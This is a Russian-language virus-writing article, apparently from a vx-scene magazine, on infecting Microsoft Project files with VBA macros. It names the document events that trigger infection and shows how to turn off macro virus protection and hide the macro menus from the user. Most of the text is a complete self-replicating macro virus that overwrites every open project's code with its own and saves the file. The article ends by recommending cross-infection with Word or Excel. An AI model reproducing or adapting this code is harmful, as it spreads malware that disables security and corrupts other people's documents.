Как и все приложения Microsoft Office, Project имеет встроенный язык
VBA. Заразить MS Project очень легко как и другие приложения
(W0rd,Excel,PPoint итд) В этой статье я попытаюсь рассказать как лучше
заражать msproject и что для этого нужно сделать.
Итак заражение MS Project...
В MSProject существуют встроенные макросы которые при
закрытий(Project_Close) будет запускать наш вирус..
Project_Activate - при активизации документа MSproject...
Project_Deactivate - ну тут ясно!
Project_Close - при закрытии документа MSproject...
Project_Open - при открытий документа MSproject...
Процедура заражения происходит по такой же схеме что и
W0rd,Excel,PPoint..
Например: При (запуске) мы отключаем ненужные функций
MSproject(встроенную вирусную защиту итд), отключаем пару опций в
меню(чтобы пользователю они были недоступны). Проверяем на заражен
документ или нет, если нет - заражаем..
Чтобы пользователь не смог заметить нас в системе необходимо отключить
несколько опций...
Application.MacroVirusProtection = False
Отключение встроенную проверку в MSproject на вирусы.
CommandBars("Tools").Controls(9).Enabled = False
CommandBars("Tools").Controls(12).Enabled = False
Отключаем функций работы с макросами...(почти как w0rd)
Итак пример вируса для Microsoft Project:
Sub Project_Open(ByVal pj As MSProject.Project)
' заражаем при открытии
On Error Resume Next
' если гемор то пропутим
'Gn0m
' метка вируса
Application.MacroVirusProtection = False
' Отключим встроенную проверку в MSproject на вирусы.
Application.DisplayAlerts = False
' Чтобы херня всякая на экране не шумела
Application.DisplayStatusBar = False
' чтобы на StatusBar не выводило инфы ненужной
CommandBars("Tools").Controls(9).Enabled = False
CommandBars("Tools").Controls(12).Enabled = False
' отключим функций работы с макросами
Dim G As Project
For Each G In Projects
'создаем цикл на число всех открытых project
Set AppProject = G.VBProject.VBComponents(1).CodeModule
'активные project(документ)
Set ThizProject = ThisProject.VBProject.VBComponents(1).CodeModule
' наш вирусный документ
If AppProject.Lines(3, 1) <> "'Gn0m" Then
' проверим на зараженость
AppProject.DeleteLines 1, AppProject.CountOfLines
'удаляем все строки
AppProject.InsertLines 1, ThizProject.Lines(1, ThizProject.CountOfLines)
' записываем наш вирус
Application.FileSaveAs Name:=ActiveProject.Name
' сохраним
End If
' закончим процедуру проверки
Next G
' повторим цикл
End Sub
Вот и весь код заражения. Поскольку платформа MSproject не очень
распространена как(w0rd или Excel) это заражение лучше использовать как
cross (word/project или excel/project)...
ULTRAS[MATRiX]
What`s my age again
Статья для журнала Top Device
|